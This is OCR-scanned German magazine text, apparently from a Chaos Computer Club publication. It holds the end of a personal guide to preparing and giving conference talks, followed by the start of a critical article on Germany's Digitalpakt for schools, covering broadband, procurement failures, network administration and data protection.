lichkeiten zeigen. Thr diirft bei Talks lernen.
Es dauert seine Zeit, bis ein Event-Team alle
Einreichungen gesichtet und sich entschieden
hat, welche Talks angenommen werden. Drei
Wochen vor dem Event diirfte eine realisti-
sche Zeit sein, um mit Zu- oder Absagen zu
rechnen. Spitestens mit der Zusage durch das
Event-Team kommt die Bitte, die Verfiigbar-

»DIE KATZE“ IST DER CHEF IM

Und der Geek muss es ausbaden ...

Catcontent auf einer Folie von Wawuschel und Habrok, als Beispiel

(habrok42)
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keit auf dem Event anzugeben. Der Fahrplan
muss organisiert werden, das Chaos will die
Eventtage schliefllich auch planen. Also ver-
gesst nicht, zeitnah Riickmeldung zu geben.

The Neil Story mit Neal Stephenson, Neil

Armstrong, Neil Gaiman: Kennst Du die Ge-
schichte der drei Neils? Eine wirklich schone
Anekdote tiber das Imposter Syndrome. [1, 2]

Die Zusage ist da, Verfuigbarkeit
angegeben, es wird ernst: Folien
wollen geschrieben werden.

Ich versuche meine Folien unabhingig von der
Zu- oder Absage vorzubereiten, sonst wird die
Zeit zu knapp. Erst recht, wenn jemensch so
verriickt ist, mehrere Talks einzureichen.

Es gibt etliche Moglichkeiten, mit Folien zu
arbeiten: Thr kénnt sie fiir Zuhérer:innen er-
stellen und den eigenen Text auswendig ken-
nen, getrennte Folien mit Split Screen fiir Spea-
ker:innen und Notizen oder die Folien als gro-
ben Rahmen erstellen. Das ist eine individuelle
Entscheidung, genau wie bei der Frage, wel-
ches Programm ihr zur Folienerstellung nutzt.
Ich nehme einfach das von LibreOffice, das ist
auf’'m Laptop installiert und ich komme gut
damit zurecht.

Bei den Folien halte ich mich daran, dass auf
einer Folie weniger mehr ist, aber mehr Foli-
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en besser sind als zu wenige. Es gibt Faustre-
geln, wie viele Folien pro Minute sinnvoll sind,
aber jeder Talk, jede:r Speaker:in ist anders.
Mein Borderline-Talk hatte 83 Folien fiir 45
Minuten Sprechzeit. Dafiir sind meine Folien
nicht tiberladen, sondern mein Anker durch
den Talk. Auf manchen ist nur ein Bild, auf
Anderen drei Satze ...

Ich habe bei meinen ersten Talks fasziniert
mit den Effekten gespielt, die mir das Pro-
gramm fiir Uberblendungen angeboten hat.
Das mache ich nicht mehr, weil diese Effekte
beim Erstellen unnétig Zeit und Energie kos-
ten, und die Zuhorer:innen vom Inhalt ablen-
ken. Aber es gibt hier kein richtig oder falsch,
es sind individuelle Entscheidungen, genau-
so wie die verwendeten Vorlagen, die Farben
und die Schriftart. Da achte ich nur drauf, dass
meine Folien aus Entfernung gut lesbar sind.
Online findet mensch gute Guidelines zu Kon-
trasten, Schriftarten und Grofien.

Ach ja: Auf der letzten Folie Kontaktmog-
lichkeiten angeben ist sinnvoll, falls es Fragen
gibt.

Die Zeit laut. Vortragen auf Pro-
be.

Stellt die Folien eine Woche vor dem Talk fer-
tig. Dann habt ihr noch Zeit, den Vortrag Probe
zu halten. Vertraut mit euren Folien bekommt
ihr ein Gefiihl dafiir, wie ihr in der Zeit liegt
und gewinnt Selbstsicherheit beim Sprechen.
Haltet eure Probe-Talks in Anwesenheit von
Zuhorer:innen. Ich brauche dafiir echte Men-
schen und deren Feedback. Das funktioniert
sogar, wenn die Zuh6renden was ganz ande-
res machen. Bei den letzten Proben fiir mei-
nen Borderline-Talk hat der ,Zuhérer” in der
Kiiche gespiilt. Vielleicht reicht euch als Zu-
horer:in die Gummi-Ente oder euer Haustier.
Wichtig ist, dass ihr den Talk probt. Mehrfach.

mee
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Wawuschels Katze ist keine begeisterte Pro-

behorerin (Wawuschel)

Seid dabei nicht wie ich. Ich habe meinen
letzten Talk nach jeder Probe umgeschrieben
und verédndert, weil ich kleine Ungenauigkei-
ten korrigieren wollte oder weil ich mich selbst
noch was gefragt habe.

Endspurt.

Und dann ist der Tag da, an dem ihr diesen
Talk halten miisst. Zieht Klamotten an, in de-
nen ihr euch wohl fithlt. Wenn mensch schon
unsicher und nervos ist, weil gleich ein Talk
gehalten werden muss, ist alles erlaubt, was
zur Beruhigung hilft. (jaja, legal muss es schon
sein und so...).

Ich versuche vor dem Talk, meine in der Psy-
chotherapie gelernten Skills anzuwenden, um
mich zu beruhigen. Mir hilft es, einen Herold
zu haben, dann stehe ich nicht alleine vor den
Zuhoérer:innen und habe bei (technischen) Pro-
blemen Hilfe. Wichtig ist auch, ausreichend zu
essen und zu trinken, allein schon, weil das ge-

Ce=

gen die Angst hilft, als Speaker:in umzukippen
und sich damit zu blamieren. Die Angst, sich
zu blamieren ist nicht rational. Wir sind das
Chaos. Selbst wenn ein Talk inhaltlich nicht
iberragend ist, wird sich niemand tber die
Speaker:in lustig machen, Vorwiirfe machen
oder Fragen nach dem Warum stellen.

Was habe ich mir dabei nur ge-
dacht?

In den letzten Minuten vor dem Talk verfluche
ich mich jedes Mal fir meinen Wahnsinn, da
zu stehen und gleich vor so vielen Menschen
reden zu miissen. Ich gehe damit offen um,
und weise die Zuhorer:innen drauf hin, wie
nervos ich grad bin. So verfliegt die Nervositat
bei den ersten Satzen, weil ich merke, dass ich
nicht alleine bin.

Zu Beginn des Talks kann es auch sinnvoll
sein, auf eigene Besonderheiten hinzuweisen.
Zum Beispiel rate ich @habrok42 fiir seine
Geschichten aus der Cobol-Gruft, seinen Au-
tismus und sein Bilderdenken gleich anzuspre-
chen. So verstehen die Zuhorer:innen dann,
woher sein Stocken kommt. Uns allen tut der
offene Umgang mit unseren Besonderheiten
gut— nicht nur in Talks.

Es ist erstaunlich, wie die Zeit verfliegt,
wenn ihr da vorne steht und euren Vortrag
haltet. Plotzlich ist die letzte Folie durch, viel
schneller als gedacht. Alles hat geklappt, die
Zuhorer:innen sind nicht weggelaufen. Wo-
moglich sind es sogar mehr geworden und
jetzt diirfen die Fragen stellen. Ich habe jedes
Mal Angst vor den Fragen. Ob ich die Fragen
alle beantworten kann? Oder will? Und was,
wenn nicht?

Mut zur Liicke wird das Chaos niemals ver-
unsichern! Wir wissen alle, wie Internetsuch-
maschinen funktionieren, um unsere Antwor-
ten selbst zu finden. Oder ich biete als Spea-
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kerin an, die Antwort zu recherchieren, wenn
mich der/die Fragesteller/in nach dem Talk
kontaktiert.

Und danach? Feedback einho-
len.

Nach dem Talk kénnt ihr mehrere Moglichkei-
ten nutzen, um euch Feedback zu holen. Viel-
leicht spricht euch jemensch direkt auf dem
Event an, nutzt eure Kontaktdaten oder das
Feedback im Fahrplan. Ich vergesse ehrlich ge-
sagtimmer, da rein zu gucken, und drgere mich
dann. Vielleicht habt ihr auch Menschen im
Freundeskreis, die eure Talks streamen und
euch dann Feedback geben. Fragt die nach
konstruktiver Kritik, und ehrlichem, hilfrei-
chem Feedback fiir den niachsten Vortrag. Die
Talks werden einige Zeit spater auf youtube
und Media.CCC.de hochgeladen. Ich schaue
die dann selbst, um mir eigenes Feedback zu
geben. Das ist aber auch wieder eine individu-
elle Frage, nicht alle mégen streamen. Wovon
ich in jedem Fall abrate, ist es, die Kommentare
auf youtube lesen, die sind auch von Chaos-
Fremden. Mehr muss ich dazu nicht sagen...

Einen Talk gemeistert zu haben und das Ge-
fithl zu haben, anderen euer Thema niher ge-
bracht zu haben, gibt Selbstvertrauen und Star-
ke. Nach meinem letzten Talk und dem vielen
positiven Feedback, der vielen Unterstiitzung
aus dem Chaos und meinem Freundeskreis
direkt vor dem Talk, ging es mir psychisch
richtig gut. Probiert es aus, traut euch.

Und wenn ihr noch unsicher seid, ob ihr
wirklich die richtige Entitat seid, um diesen
Talk zu halten. Andere Speaker:innen und ich
stehen euch fiir Fragen und Rat zur Seite, so-
wohl vor der Einreichung als auch zum Um-
gang mit Nervositat. Vor allem bei Leyrer aus
Osterreich mit den Waffelkeksen, weil der auf
dem néchsten Event nicht wieder zig Talks
halten will. Bei dem findet ihr Gibrigens auch

Tipps und Ideen fiir euren ersten Talk, informa-
tive Folien und die nétige Prise Humor. Schaut
einfach mal in seine IT-Fails. [3]

Wawuschels Gesicht nach dem Talk - Erleich-
terung und Stolz (Wawuschel)

Referenzen

[1] Neil Gaiman: ,Neil Armstrong® (2012),
https://journal.neilgaiman.com/2012/08/
neil-armstrong.html

Neil Gaiman: ,The Neil story (with
additional footnote)” (2017), https:
//journal.neilgaiman.com/2017/05/the-ne
il-story-with-additional-footnote.html
Leyrer: ,Die unterhaltsamsten 6sterrei-
chischen IT Fails der letzen Jahre und
was wir daraus lernen kénnen® (2012),
https://media.ccc.de/v/gpn20-12-die-unte
rhaltsamsten-sterreichischen-it-fails-der-
letzen-jahre-und-was-wir-daraus-lernen
-knnen
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Zu niemandem ist
man ehrlicher als zum

Suchfeld von Google.

Constanze Kurz, Chaos Computer Club



Bring Your Own Devices an Schulen

von tomib <mail@tomib.de>, Cord <cord.santelmann@phv-bw.de>, Thomas Werth
<ccc@werth-it.de> und broesel <bebi@uber.space>

Haben Sie Threm Kind jetzt endlich ein iPad fiir die Schule gekauft oder haben Sie immer
noch Bedenken? In vielen Schulen werden derzeit in Deutschland elternfinanzierte 1:1-iPad-
Ausstattungen der Schiiler*innen etabliert, um die von den Schultragern aus Mitteln des Digital-
pakts bereitgestellte Infrastruktur zu nutzen. Dabei kommen jedoch wesentliche Aspekte wie
Nachhaltigkeit, Reparierbarkeit, Chancengerechtigkeit, MINT-Bildung und digitale Mindigkeit

zu kurz.

In diesem Artikel klart Chaos macht Schule
auf, wie die Situation an vielen Schulen und bei
zustandigen Behorden (Kostentrager, Tiefbau-
amt) in Deutschland derzeit aussieht, welche
Rahmenbedingungen dazu gefithrt haben, wel-
che Probleme es bei der Nutzung von Mobile-
Device-Management-Losungen und Privatge-
riaten von Schiiler*innen (am Beispiel von
iPads) gibt und welche fiir unsere Gesellschaft
wertvolle Alternativen es gibt.

Das Tiefbauamt zum Thema Digitalisierung
an Schulen? Ja, richtig, denn das Tiefbauamt
ist zustandig fiir die Internetanschliisse von
Schulen.

Ziele des Digitalpaktes Schule
bislang weit verfehlt

Der Anspruch der Kultusminsterkonferenz
(KMK), die bereits 2016 beschlossen hatte, dass
,...moglichst bis 2021 jeder Schiiler und jede
Schiilerin eine digitale Lernumgebung vorfin-
den und das Internet nutzen...“ kénnen sollte,
war offenbar zu hoch. [1]

Nun stellt sich heraus, dass dieses Ziel bis-
her weit verfehlt wurde. Noch Anfang 2022 wa-
ren nur 10% der Gelder des dann endlich 2019
aufgelegten, tiber 5 Milliarden Euro schweren

Digitalpaktes bei den Schulen angekommen,
und 50% der Lehrer*innen beméngelten die
vorhandene digitale Ausstattung ihrer Schule
als unzureichend. Wie es dazu kommen konn-
te, untersuchte eine qualitative Studie, die von
August 2020 bis Méarz 2022 vom Institut fiir
Sozial- und Organisationspadagogik der Uni
Hildesheim und dem Wissenschaftszentrum
Berlin fir Sozialforschung (WZB) mittels ge-
zielter Interviews durchgefithrt wurde. [2]

Digitalpakt fordert verstarkt
Ungleichheiten

Nicht nur sind die Verwaltungsstrukturen zu
intransparent und der Biirokratieaufwand zu
hoch, um an die Gelder zu gelangen, auch wer-
den Schulen, die bereits vor dem Digitalpakt
in Digitalisierung investiert hatten (teils mit
zehntausenden Euro der eigenen Forderver-
eine) den Schulen vorgezogen, die noch gar
keine Digitalisierung haben. Dies liegt unter
anderem an den Voraussetzungen, die im Di-
gitalpakt festgeschrieben sind.

Um Mittel aus dem Digitalpakt zu bekom-
men, haben die Schulen in Deutschland in
den letzten Jahren ,Medienbildungskonzepte®
oder ,Medienentwicklungspléne“ (die genaue
Bezeichnung ist in den Bundeslandern selbst-
verstiandlich unterschiedlich) geschrieben bzw.

]
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diese aktualisiert und ihren aktuellen Bediirf-
nissen angepasst. Diese Konzepte zeigen unter
anderem auf, welche Mafinahmen durch den
Schultrdger zu ergreifen sind, um Medienbil-
dung in der jeweiligen Schule zu erméglichen.
Die Schulen fixieren schriftlich, wie sie An-
forderungen an die Medienbildung und die
informatische Bildung umsetzen wollen und
welche Technik sie dafiir benotigen.

Der Schultréger erstellt danach wiederum
einen Medienentwicklungsplan. Hierfiir gibt
es in manchen Bundeslidndern keinen explizi-
ten Begriff, in Niedersachen erstellen beispiels-
weise die Schulen Medienbildungskonzepte
und die Schultrager Medienentwicklungspla-
ne. Aus diesen geht hervor, wie die Umset-
zung an den Schulen des Schultragers konkret
durchgefiithrt wird.

Es musste somit jede interessierte Schule
einen solchen Plan vorlegen — ohne die né-
tigen Expert*innen an Bord zu haben. Denn
diese Plane erstellen die Lehrer*innen mitun-
ter mit lahmer ,Unterstiitzung“ der jeweili-
gen Kreismedienzentren. Hier ist laut Digital-
pakt gefordert, den Istzustand, den Sollzustand
und die dazu erforderlichen Mafinahmen auf-
zuschlisseln (samt padagogischer Konzepte).
Aber erstaunlicherweise ist die technische und
auch von den Vorgaben her wesentliche Vor-
aussetzung, ein wirklich schneller Internetzu-
gang, gar nicht durch den Digitalpakt forde-
rungsfihig, sondern muss vom Schultrager be-
ziehungsweise dem Landkreis durch eigene
Mittel, zum Beispiel aus den aus der Verwal-
tungsvorschrift Digitalpakt vorgeschriebenen
10% Eigenanteil, erbracht werden. Aber bevor
dieser Breitbandzugang nicht nachweislich
vorhanden ist, darf laut Digitalpakt kein Geld
fiir andere Mafinahmen an eine solche Schule
flieBen. Kein Wunder, wenn somit bis Mirz
2022 laut Studie 90% der Gelder noch nicht
abgerufen werden konnten. [Anmerkung: Die-
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ser Stand hat sich bis Oktober 2022 verandert.
Gebunden in Projekten sind 3 Milliarden EUR
zum Stichtag 30.6.2022, also 3/5 der Gelder (5
Milliarden - ohne Sofortprogramm). Hingegen
sind bisher gerade einmal 1/10 der Gelder aus-
gegeben, also in vorhandene Ausstattung abge-
flossen bzw. nicht einmal 1/6 der in Projekten
gebundenen Gelder sind in realer Ausstattung
vorhanden. [3]] Statt also die zwingende Vor-
aussetzung — nidmlich einen echten Breitband-
zugang, zum Beispiel mit 1 GBit/s — durch den
Bund zu foérdern, wird dies von vornherein
ausgeschlossen. Man mag fast glauben, dass
die oben genannten Hiirden zum Zwecke des
Geldsparens vorgesehen sind.

Deutschland auf dem vorletzten
Platz

Deutschland ist in Bezug auf Digitalisierung
und Breitbandausbau in Europa auf dem
vorletzten Platz vor Albanien. Auch kein
Wunder, dass dies schwer zu stemmen ist,
wenn doch gerade in Sachen Breitbandzu-
gang seit Jahrzehnten bis 2018 fast ausschlief3-
lich Doppelader-Kupferkabel und Koaxialka-
bel statt Glasfaser in Deutschland gefordert
wurden und auch die Definition, was echtes
Breitband-Internet wirklich bedeutet, weder
in Deutschland noch international einheitlich
festgelegt ist. [4]

Allerdings sollte klar sein, dass eine klei-
ne Schule mit beispielsweise einem Compu-
terraum mit 30 Rechnern und beispielswei-
se weiteren 30 mobilen Geriten bei gleich-
zeitiger Nutzung schon an die Grenze eines
der handelsiiblichen Anschliisse mit maximal
50 MBit/s down und 10 MBit up stoflen, wenn
auch nur drei Geréte jeweils einen 4K UHD-
Stream anfordern, der je nach Anbieter min-
destens 15 MBit/s down konstant benétigt [5,
6] Zum eher schmalbandigen Internetausbau
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gab es bereits eine Stellungnahme des CCC.
[7] Damit sind die tiblichen Surf-Aktivitaten,
die Updates von Software und so weiter noch
nicht einmal besonders beriicksichtigt, ge-
schweige denn der Ansatz von Bring Your
Own Device (BYOD, 1:1-Ausstattung der Schii-
ler*innen mit privaten Endgerdten), auf das
spater eingegangen wird.

Somit haben bisher DSL (iiblicherweise
16 MBit/s down und 5 MBit/s up) oder VDSL
(iblicherweise maximal 250 MBit/s down, ma-
ximal 50 MBit/s up) oder Koaxialkabel (ur-
springlich fir digitales Kabelfernsehen) mit
maximalen Datenraten in sehr wenigen F&l-
len bis zu 1GBit/s down aber nur maximal
50 MBit/s up) den Vorrang. Schlieflich gibt
es noch 5G mit maximal 500 MBit/s down
und bis zu 50 MBit/s up, die allerdings noch
lange nicht iiberall verfiigbar sind. [8] Dabei
sind aber gerade die grofleren Stidte mit sehr
schnellem Internet bevorzugt, die Dérfer und
kleinen Stadte hingegen haben immer noch
weder den passenden LTE/5G-Ausbau noch
den DSL/VDSL-Ausbau. Zudem miissen sich
Nutzer*innen eines Kabelanschlusses (spezi-
ell in Wohnblocken tiblich) aber auch die 5G-
Nutzer“innen die Bandbreite mit den parallel
versorgten Nutzer*innen teilen!

Da wundert es kaum, dass Deutschland da-
mit laut einer zuletzt 2021 vorgenommenen
Untersuchung des Berliner European Center
for Digital Competitiveness in Sachen ,Digita-
ler Wettbewerb® auf dem vorletzten Platz (vor
Albanien) landete. [9, 10] Eine der Spitzenpo-
sitionen nimmt Litauen ein.

Es wird noch wilder

Hat eine Schule die oben genannten Hiirden
schlie3lich iiberwunden, kann also einen so-
genannten Breitbandanschluss vorweisen und

hat den erforderlichen Plan fristgerecht (mit
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iibrigens extrem kurzen Fristen) und passen-
den Kostenkalkulationen eingereicht, wird es
erst recht bunt. Der Kostentrager entscheidet
namlich ohne Mitwirkung der Schule(n), wo-
fur das Geld dann wirklich ausgegeben wird
und wann beziehungsweise tiber welchen Zeit-
raum von teils mehreren Jahren die Schule die
Sachmittel dann auch zur Verfiigung gestellt
bekommt. Nun, der Grund ist recht einfach:
Die Ausschreibung wird gar nicht so scharf
formuliert, wie es notig wire. Es werden keine
Standards und Kriterien, die allerdings in dem
Medienentwicklungsplan der Schule stehen,
berticksichtigt. Stattdessen gewinnt bei 6ffent-
lichen Ausschreibungen immer der billigste
Anbieter, nicht der mit der héchsten Qualitit.

Das kann im Falle eines Falles dazu fiihren,
dass die Schule sich interaktive Monitore mit
definierter Grofie (81 Zoll, also ca. 205 cm sind
ungefihres Tafelmafd in der Diagonale), ent-
sprechenden Schnittstellen und Fahigkeiten
(zum Beispiel Screencast), passender Hellig-
keit bei Tageslicht, geringem Larmpegel in dB
und 4K-Auflésung zum Anzeigen von Inhalten
wiinscht, jedoch schlussendlich vielleicht nur
Beamer erhilt, die nicht interaktiv und ohne
Screencast daherkommen, dafiir aber (zu) laut
sind und maximal FullHD an Auflésung mit
zu geringer Helligkleit bieten — also schlicht
ungeeignet sind.

Hauptsache irgendwelche End-
gerate

Um stationédre aber auch mobile Laptops mit
einer sogenannten Self-Healing-Network-
Losung (SHN) zu administrieren, die auf allen
Systemen die gleiche Betriebssystemsoftware
und auch die Anwendungsprogramme be-
reitstellt, ist zwingend eine LAN-Schnittstelle
am Gerit (auch Ethernet genannt) notig. Nicht
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Sechs Kl-inspirierte Bring-Your-Own-Device-Varianten.

nur wegen der notigen Inhouse-Bandbreite,
sondern auch wegen der nétigen Bootfihig-
keit via Ethernet (sogenanntes PXE-Boot), bei
der ein Mini-Linux, welches von einem Ser-
ver bereitgestellt wird, alles weitere an lokal
oder entfernt bereitgestellten Betriebssyste-
men bootet. Nur bléde, wenn der Schultra-
ger den Medienentwicklungsplan offenbar gar
nicht sorgfaltig genug liest und auch hier wie-
der eigenmichtig Entscheidungen trifft, die
absurde Auswirkungen und letztlich immense
Mehrkosten verursachen: Es werden dann mal
eben dutzende Laptops ohne LAN-Port gekauft
und der Schule mit dem SHN bereitgestellt.
Erst der Netzwerkbetreuer der Schule wun-
dert sich, dass er die Rechner gar nicht via

Netzwerk und LAN booten kann, weil sie kei-
nen passenden Anschluss besitzen. Ein USB-
Dongle hilft hier auch nicht, weil diese ibli-
cherweise nicht PXE-bootfhig sind und durch
schlichtes Vertauschen der Dongles ein heillo-
ses Chaos entstiinde, denn der Rechner wird
iiber seine LAN-MAC-Adresse eindeutig iden-
tifiziert, die dann vom USB-Dongle abhéngig
ist.

So sind dann unter Umstédnden die Entschei-
der auf Seiten des Schultréagers bereit, von die-
ser Art der Vergabe der Mittel abzuweichen.
Da miissen aber schon mehrere Schulleiter auf
die Barrikaden gehen. Rein formal haben die
Schultrdger alles Recht dazu, so wie in den
oben geschilderten Worst Cases zu verfahren
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und tun dies auch munter - bis eine Schule
dann vielleicht zu spat merkt, dass sie gar nicht
die passende Ausstattung bekommen hat.
Diese Vorgehensweise kann ebenfalls da-
zu fithren, dass bereits funktionierende
Technik wie eine komplette WLAN-Router-
Infrastruktur mit bester Ausleuchtung aller
Réume und Orte auf dem Schulgelédnde abge-
baut wird und gegen eine weniger leistungs-
fahige Variante ausgetauscht wird — dann mit
einer weniger guten Ausleuchtung trotz einer
hoheren Anzahl an Accesspoints (natiirlich
unbedingt von der Firma Cisco, deren ,Daten-
sicherheit legendar ist), deren Kompatibilitdt
mit den vorhandenen Geriten zudem nicht in
allen Fillen vorhanden ist, sodass weitere Fol-
gekosten entstehen. Namlich fiir neue Gerite,
die nun die alten nicht mehr kompatiblen Ge-
rite ersetzen miissen — falls man diese dann
iiberhaupt bekommt. Und nur, weil die fiir al-
le Schulen beauftragte Firma den sogenann-
ten legacy-Mode nicht richtig konfiguriert be-
kommt. Das ist weder nachhaltig noch sinn-
voll - zudem nach einer weiteren Beschwer-
de an den Schultréiger plétzlich die unnétiger
Weise abgebauten Accesspoints dann doch an
anderen Schulen eingesetzt werden sollen.

Im Dutzend billiger aber einfach
nicht passend

Immanent in dieser Art der Vergabe der Mit-
tel ist eines: Kaum eine Schule bekommt die
Mittel, die zu ihrem miithsam erarbeiteten
Plan passt, denn schliefllich werden alle An-
schaffungen fiir alle Schulen méglichst uni-
form vom Schultrager bestimmt, weil man
sich damit wohl Rabatte erhofft oder eventu-
ell Arbeitsaufwand spart. Der urspriingliche
Sinn der Medienentwicklungsplane wird voll-
standig konterkariert. Die Sinnhaftigkeit die-
ser Verfahrensweise kann aber bestimmt der

Kostentrager ganz plausibel erklaren, oder?
Ahm. Nein, kann er nicht. Oder den Schu-
len wird seitens des Schultragers gedroht,
dass sie beispielsweise nur 30.000 Euro aus
den Digitalpaktmitteln bekommen statt iber
100.000 Euro, wenn sie nicht die Umsetzung
im Sinne des Schultrigers wollen.

Die rechte Hand weif3 nicht, was
die linke tut

Offenbar weifd also die rechte Hand nicht was
die linke tut, die Schultridger sind tberfor-
dert und personell meist unterbesetzt, stat-
ten die Schulen mit unpassenden Geriten aus,
und manche der beauftragten Firmen sind ihr
Geld nicht wert. Das zeigt sich auch, wenn
nun plétzlich nicht mehr nur eine Firma A
seitens des Schultragers beauftragt wird, die
Schulen zu ,unterstiitzen®, sondern sich mit
einer weiteren Support-Firma B absprechen
muss. In Baden-Wiirttemberg geht es dann
in mancher Stadt soweit, dass Firma A aus-
schliefllich fir den Betrieb des WLAN und
der (Cisco-)Switche zustindig ist, sowie die
Konfiguration der (Cisco-)Firewall, die auch
an den Internetzugang angeschlossen ist. Der
Rest der Infrastruktur (Server, Computer, Ta-
blets etc.) ist dann hingegen von Firma B zu be-
treuen. Anfragen zur Freischaltung von Ports
(die Kommunikationskanile, iiber die einzel-
ne Client-Programme wie Mail/ Webbrowser/
Entwicklungstools etc. mit den Servern im In-
ternet, also den entsprechenden Pendants zu
den Clients kommunizieren miissen) stellt nun
nicht etwa Firma B an Firma A, sondern da
gibt es eine weitere Instanz bei der Stadt, die
diese Anfragen ,koordiniert“ und an die sich
der Netzwerkbetreuer der Schule oder Firma
B wenden miissen. Ein klassischer und voll-
kommen unsinniger Flaschenhals (einer von
vielen).
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Viele Koche verderben den Brei

Dass hier Kommunikationsliicken vorpro-
grammiert sind, ist keine Frage. Es zeigt sich
dann zum Beispiel plétzlich, dass Firma A
nicht daran gedacht hat, den Zugang zum
WLAN zumindest per Whitelist der MAC-
Adressen der Gerate zu schitzen, sondern
alle Gerdte OHNE Verschliisselung mit dem
WLAN der Schule ins Internet ldsst (eigent-
lich vorgesehen fiir das Gaste-Netz). Da aber
Firma B nicht dafiir zustandig ist, merkt dies
vielleicht (zufallig) der Netzwerkbetreuer der
Schule. Oder eben auch nicht. Dass damit
das gesamte Schulnetz so lange offen fiir alle
(auch Wildfremde) ist, versteht sich von selbst.
Tschiissikowski Datenschutz und Datensicher-
heit. Alles und noch viel mehr so geschehen
an einem Gymnasium, welches hier exempla-
risch dafur stehen soll, was so alles schief
geht und schief gehen kann in Sachen Digital-
pakt. Und damit sicherlich auch an diversen
anderen Schulen, die von Firma A zwangs-
ybetreut” wurden beziehungsweise den selben
Kostentrdger haben. Aussuchen konnte man
sich namlich Firma A nicht, und Qualitatsstan-
dards wurden diesbeziiglich weder festgelegt
noch werden diese gepriift (denn es gewinnt
ja der billigste Anbieter auch in Sachen ,Sup-
port®). Auflerdem fehlt die Pflicht zur trans-
parenten Dokumentation durch die Support-
Firmen. Vorher sorgfiltig ausgearbeitete Aus-
leuchtungspline, Standorte aller Gerite inklu-
sive Router, Switche, Server etc. und deren Ver-
schaltung (fir jeden im Portfolio der Schule
einsehbar) — wird plétzlich zum Geheimwis-
sen der Firma A - wenn diese Dokumentation
iiberhaupt vorhanden ist und gepflegt wird.
Es gibt zwar die Pflicht der Kostentréger,
die Fortschritte in der Ausgestaltung des Di-
gitalpaktes als Feedback an den Bund zuriick-
zumelden. Getan wurde dies allerdings bisher

von keiner der involvierten Behorden bezie-
hungsweise Kostentréger. [2]

Placebo-Administrator®innen

Wer jetzt glaubt, dass dies nicht zu toppen
wire, der irrt. Es soll ja nicht mehr der Netz-
werkbetreuer der Schulen alles alleine machen
miissen und zum Beispiel die Fehler der an-
deren korrigieren miissen. Die Schulen ha-
ben daher gefordert, dass echte ausgebildete
Vollzeit-Administrator*innen zur Verfiigung
gestellt werden, welche die eigentliche fach-
liche Arbeit erledigen und damit die Netz-
werkbetreuer*innen als das fungieren kénnen,
wie es die Stellenbeschreibung seit jeher defi-
niert: als Schnittstelle zwischen Support/ Ad-
min und Schule. Dazu trat Anfang November
2020 die entsprechende zusitzliche Verwal-
tungsvereinbarung in Kraft und Extragelder
von 500 Mio. Euro im Rahmen des Digitalpak-
tes wurden bereitgestellt.

Das hat allerdings ungeahnte Kreativitit auf
Seiten der Schultriger zur Folge, welche auch
diesen Topf verwalten.

So gibt es in manchen Stadten im Moment
einen Vollzeit-Administrator fir alle Schulen,
die von der Stadt verwaltet werden (nicht vom
Land, denn da gelten andere Regeln). Na im-
merhin. Kann der dann die anfallende Arbeit
eigentlich bewaltigen und wird das urspriingli-
che Ziel, den Schulen bei IT-Problemen zeitnah
zu helfen, damit erreicht? Das bleibt deutlich
zu bezweifeln! Jetzt sind es durch diese Kon-
struktion dann auch schon mindestens drei
Parteien, die auf die pddagogischen Schulnetze
vollen Zugriff haben: Firma B jeweils mit wech-
selnden Mitarbeiter*innen, der Placebo-Admin
fur alle Schulen eines bestimmten Gebietes,
der Netzwerkbetreuer vor Ort. Natiirlich gibt
es hier weder eine Granularitét in den Zugriffs-
rechten noch eine funktionierende Kommuni-
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kation (siehe oben). Es gibt auch keinen Plan
oder passende Vorschriften oder Prozessbe-
schreibungen, um standardisiert handeln zu
konnen. Das alles ist zumindest bisher weder
vorhanden noch anscheinend vorgesehen.

Endgerate fiir Lehrkrafte

Neben den vorgesehenen Mitteln aus dem
Digitalpakt haben die Schultrager im letzten
Jahr (2021) weitere 500 Mio. Euro aus den Co-
ronahilfsmitteln des Bundes direkt erhalten,
um in einer Einmal-Aktion Lehrkrafte mit
Endgeriten auszustatten. Dass im Prinzip alle
Lehrkrifte zu diesem Zeitpunkt (insbesondere
aufgrund der Pandemiesituation) schon selber
eigene Gerite angeschafft hatten beziehungs-
weise schon immer selber ihre eigenen Privat-

gerite verwendet haben, wurde dabei weitge-
hend ignoriert (siehe unten). Eigentlich hatten
alle Lehrer*innen beim ersten Lock-Down in
den Schulen sagen miissen, dass sie aufgrund
fehlender Hardwareausstattung nicht unter-
richten konnen. Letztlich sollte fiir diesen Job
ja Papier und Bleistift gentigen.

Placebo-
Datenschutzbeauftragte

Ahnliche Kuriosititen gelten fiir den Daten-
schutz. Pro forma ist die jeweilige Schullei-
tung die verantwortliche Instanz fiir den Da-
tenschutz an einer Schule. Allerdings hat-
te man auch hier eine feine Idee in Baden-
Wiirttemberg: Wozu die Schulleiter*innen und
deren Vertreter*innen in Sachen DSGVO ver-
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deren Vertreter*innen in Sachen DSGVO ver-
niinftig ausbilden? Da gibt es dann mitunter ei-
ne Pseudo-Fortbildung als Vortrag mit immens
viel Text auf MS-Powerpoint. Damit diese mie-
se ,Ausbildung® nicht etwa unangenehm auf-
fallt, macht man zumindest an diversen Schu-
len in Baden-Wiirtemberg einen einzigen Juris-
ten am Regierungsprasidium zum Verantwort-
lichen fiir den Datenschutz aller Schulen des
Regierungsbezirks, die dieses Angebot anneh-
men mochten. Ohne Frage ist dieses Angebot
attraktiv, spart Zeit und ist vielleicht einfacher
zu handhaben. Die 6ffentlichen Stellen miis-
sen ohnehin im Falle eines Verstofles gegen die
DSGVO keine nennenswerten Konsequenzen
befiirchten. Die fiir Unternehmen festgeleg-
ten drakonischen Strafgelder in der Hohe von
bis zu 5% des Umsatzes eines Jahres gelten
fir Institutionen wie Schulen und Behorden
tatséchlich nicht.

Der Fisch stinkt immer vom
Kopf her

Glaubt man nun, dass es in Sachen Digital-
pakt schon mit den geschilderten Pleiten und
Pannen aufhort, so zeigt sich dieses Desaster
auch an den digitalen Vorzeigeprojekten ein-
zelner Lander (gar nicht zu reden von TollColl-
ect oder Ahnlichem): Das landesweite Closed-
Source-Schulcloud-Projekt ELLA BW wird
komplett in den Sand gesetzt und 6 Mio. Euro
Investitionen plus geheimgehaltener Abfin-
dung an den Auftragnehmer sind verloren.
Aber das ist nicht nur in Baden-Wiirttemberg
Standard, sondern auch beim Bund und an-
deren Landern, wo plétzlich Ministerien die
IT-Entwicklung durchfithren wollen oder wo
funktionierende Open-Source-Losungen wie
Big Blue Button (BBB) und Moodle mehr oder
weniger verhindert werden und stattdessen
auf MS-Teams und Office365 gesetzt wird, wie
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noch zuletzt unter Frau Dr. Eisenmann als Bil-
dungsministerin in Baden-Wiirttemberg ge-
schehen. Nun wurde zumindest MS-Teams
vom Landesdatenschutzbeauftragten des Lan-
